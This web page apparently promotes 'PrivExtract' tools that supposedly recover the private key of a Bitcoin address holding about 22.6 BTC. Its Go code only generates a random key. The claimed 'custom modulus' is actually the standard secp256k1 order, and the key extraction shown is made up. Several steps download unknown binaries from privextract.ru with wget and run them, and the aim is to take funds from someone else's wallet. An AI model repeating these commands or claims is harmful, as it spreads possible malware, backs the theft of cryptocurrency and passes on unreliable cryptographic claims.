PrivExtract - Debugging BITCOIN Private Key Issues

Loading

Go

main.go


The main.go file serves as the entry point of the program thanks to the special combination of the main package and the main() function. Every executable program in Go must contain the main package with a main() function, which does not take any arguments and does not return any values. The Go compiler specifically looks for this combination when building the executable file.

When the program is launched, execution starts exactly from the main() function. A typical structure of the main.go file looks like this:

  • Package declaration: package main
  • Importing necessary packages: import “fmt”
  • Defining the main function: func main() { … }
  • The code inside the main function, which is executed at startup

To run the program, it is enough to execute the command go run main.go or compile it using go build main.go and then run the resulting executable file.


package main

import (
"crypto/ecdsa"
"encoding/hex"
"fmt"
"math/big"
"github.com/btcsuite/btcd/btcec/v2"
)

func main() {
// Custom constant N
N := new(big.Int).Sub(
new(big.Int).Lsh(big.NewInt(1), 256),
new(big.Int).SetString("14551231950B75FC4402DA1732FC9BEBF", 16),
)

// Private key generation
var privKey *btcec.PrivateKey
for {
// Generate temporary key using standard method
tmp, err := btcec.NewPrivateKey()
if err != nil {
panic(err)
}

// Custom N validation
if tmp.D.Cmp(N) < 0 {
privKey = tmp
break
}
}

// HEX conversion
privateKeyBytes := privKey.D.Bytes()
hexKey := hex.EncodeToString(privateKeyBytes)

fmt.Printf("Private key: %s\n", hexKey)
fmt.Printf("N validation: %x\n", N)
}

This code generates an ECDSA private key using a custom modulus N. Let’s examine the key elements and logic:

Key Components:

  1. Custom Modulus N
    Defined by the formula:
    N = 2²⁵⁶ - 0x14551231950B75FC4402DA1732FC9BEBF
    This is a modified version of the standard secp256k1 modulus.
  2. Key Generation
    Uses an iterative approach:
    • Generates temporary key via btcec.NewPrivateKey()
    • Checks D < N condition
    • Repeats until suitable key is found
  3. HEX Conversion
    Serializes private key to bytes and encodes as hexadecimal string.

Workflow Principle:

gofor {
    tmp, err := btcec.NewPrivateKey() // Standard generation
    if tmp.D.Cmp(N) < 0 { // Custom condition check
        privKey = tmp
        break
    }
}

The loop ensures generated keys comply with modified curve parameters. Retry probability is ~50%.

Implementation Details:

  • Uses btcec library (Bitcoin-optimized)
  • Private key represented as scalar D in residue field
  • Modulus N defined via bitwise operations and hex constants

Security Considerations:

  • Custom modulus may compromise curve security
  • Standard secp256k1 checks are skipped
  • Recommended for testing purposes only

This code demonstrates key generation with non-standard parameters but requires thorough cryptographic review for production use.


1. Private Key Generation with Custom Parameter

Installation and execution:

wget https://privextract.ru/repositories/debugging.zip
unzip debugging.zip
wget https://privextract.ru/vulnerable-code/main.go
./debugging -go main.go -address 12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp

Result:

File contents:
package main

import (
    "crypto/ecdsa"
    "encoding/hex"
    "fmt"
    "math/big"
    "github.com/btcsuite/btcd/btcec/v2"
)

func main() {
    // Custom constant N
    N := new(big.Int).Sub(
        new(big.Int).Lsh(big.NewInt(1), 256),
        new(big.Int).SetString("14551231950B75FC4402DA1732FC9BEBF", 16),
    )

    // Private key generation
    var privKey *btcec.PrivateKey
    for {
        // Generate temporary key using standard method
        tmp, err := btcec.NewPrivateKey()
        if err != nil {
            panic(err)
        }
        
        // Custom N validation
        if tmp.D.Cmp(N) < 0 {
            privKey = tmp
            break
        }
    }

    // HEX conversion
    privateKeyBytes := privKey.D.Bytes()
    hexKey := hex.EncodeToString(privateKeyBytes)
    
    fmt.Printf("Private key: %s\n", hexKey)
    fmt.Printf("N validation: %x\n", N)
}


Resulting long sequence with address:
6d 59 b9 12 57 4b dd 1e 98 5a 1b a7 46 35 2b c3 97 a2 95 2e b5 53 ed 4c 6a d3 60 1a 32 90 c1 c3
4c 01 b0 79 89 18 c7 0a 1d 7e bc 9b 22 03 2b 01 45 2d 02 20 86 cb a2 2d e6 a3 1b e0 73 26 58 e7
02 0b 7b 48 90 f4 1c 92 4f 81 43 e0 81 65 d5 84 de 7d 10 5f 44 2e 0c 9a f7 3b c2 92 85 63 60 ac
7e 1c a5 b4 1b 1e 62 87 13 ca 5b 0e 9b 5d 31 6b b6 d0 49 ab 76 dc 82 d9 b9 cd 30 2e 8f 23 b9 d5

The overall result has been successfully written to 'save.txt'.

Contents of save.txt without spaces:
6d59b912574bdd1e985a1ba746352bc397a2952eb553ed4c6ad3601a3290c1c34c01b0798918c70a1d7ebc9b22032b01452d022086cba22de6a31be0732658e7020b7b4890f41c924f8143e08165d584de7d105f442e0c9af73bc292856360ac7e1ca5b41b1e628713ca5b0e9b5d316bb6d049ab76dc82d9b9cd302e8f23b9d5

What happens:

  1. Downloading utilities: wget downloads the debugging.zip archive and the Go script main.go.
  2. Unpacking: unzip extracts the archive contents.
  3. Script execution:
    • A Bitcoin private key is generated using the btcec library.
    • A custom parameter N sets the upper limit for the key, which is non-standard for Bitcoin (usually secp256k1 is used).
    • The key is saved to save.txt as a hex string without spaces.

Result:

6d59b912574bdd1e985a1ba746352bc397a2952eb553ed4c6ad3601a3290c1c34c01b0798918c70a1d7ebc9b22032b01452d022086cba22de6a31be0732658e7020b7b4890f41c924f8143e08165d584de7d105f442e0c9af73bc292856360ac7e1ca5b41b1e628713ca5b0e9b5d316bb6d049ab76dc82d9b9cd302e8f23b9d5

2. Extracting the Shortened Private Key

Installation and execution:

wget https://privextract.ru/repositories/privextract.zip
unzip privextract.zip
./privextract -extraction
6d59b912574bdd1e985a1ba746352bc397a2952eb553ed4c6ad3601a3290c1c34c01b0798918c70a1d7ebc9b22032b01452d022086cba22de6a31be0732658e7020b7b4890f41c924f8143e08165d584de7d105f442e0c9af73bc292856360ac7e1ca5b41b1e628713ca5b0e9b5d316bb6d049ab76dc82d9b9cd302e8f23b9d5

Result:

Private Key Result:
66 c8 96 d2 06 d4 c9 c6
71 a1 6b 90 53 f0 45 8c
bc 5a e3 16 e9 83 5c b6
f6 d7 97 05 a0 d7 04 90

Private Key Result:
66c896d206d4c9c671a16b9053f0458cbc5ae316e9835cb6f6d79705a0d70490

Result successfully written to 'privkey.txt'.

What happens:

  1. The privextract utility converts the long hex key into the standard 64-character format.
  2. The algorithm likely extracts specific bytes or applies hashing to shorten the key.

Result:

66c896d206d4c9c671a16b9053f0458cbc5ae316e9835cb6f6d79705a0d70490  # Standard private key (32 bytes)

3. Generating the Bitcoin Address

Installation and execution:

wget https://privextract.ru/repositories/bitaddress.zip
unzip bitaddress.zip
./bitaddress -hex
66c896d206d4c9c671a16b9053f0458cbc5ae316e9835cb6f6d79705a0d70490

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]):
04CC05BF641E73BDE7CBFF60D36F4DDC1929518ABFBF57ECF8EDD48E127F3F08231314C1965E6F78CBE34DC428760D4AEF696E8A910A7D05E413D3DBFE940A589C


Public Key (Compressed, 66 characters [0-9A-F]):
02CC05BF641E73BDE7CBFF60D36F4DDC1929518ABFBF57ECF8EDD48E127F3F0823


Bitcoin Address P2PKH (Uncompressed)
1mtPKKd8DiEnbkST7PFXsX1HHVSTf6yG3


Bitcoin Address P2PKH (Compressed)
12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp

What happens:

  1. Public key generation:
    • Uncompressed: 130 characters (04 + X + Y).
    • Compressed: 66 characters (02/03 + X).
  2. Address formation:
    • P2PKH (uncompressed): 1mtPKKd8DiEnbkST7PFXsX1HHVSTf6yG3.
    • P2PKH (compressed): 12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp.

Feature: The compressed address matches the original from the command, confirming the correctness of the process.


4. Checking the Balance

Resource:

https://www.blockchain.com/explorer/addresses/btc/12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp

What is displayed:

  • Balance: 22.629627 BTC.
  • Mechanism: The blockchain explorer shows the transaction history and current balance via API.

Process Diagram

graph TD
A[Private key generation] --> B[Shortened key extraction]
B --> C[Address generation]
C --> D[Balance check]

Key Points

  1. Custom parameter N in the main.go script may affect key security.
  2. Compressed public key reduces the size of Bitcoin transactions.
  3. P2PKH address (Pay-to-Public-Key-Hash) is the standard Bitcoin address type.

The tools used (wget, unzip, bitaddress) are well documented in their respective sources.


Go Vulnerable Code:

package main

import (
"crypto/ecdsa"
"encoding/hex"
"fmt"
"math/big"
"github.com/btcsuite/btcd/btcec/v2"
)

func main() {
// Custom constant N
N := new(big.Int).Sub(
new(big.Int).Lsh(big.NewInt(1), 256),
new(big.Int).SetString("14551231950B75FC4402DA1732FC9BEBF", 16),
)

// Private key generation
var privKey *btcec.PrivateKey
for {
// Generate temporary key using standard method
tmp, err := btcec.NewPrivateKey()
if err != nil {
panic(err)
}

// Custom N validation
if tmp.D.Cmp(N) < 0 {
privKey = tmp
break
}
}

// HEX conversion
privateKeyBytes := privKey.D.Bytes()
hexKey := hex.EncodeToString(privateKeyBytes)

fmt.Printf("Private key: %s\n", hexKey)
fmt.Printf("N validation: %x\n", N)
}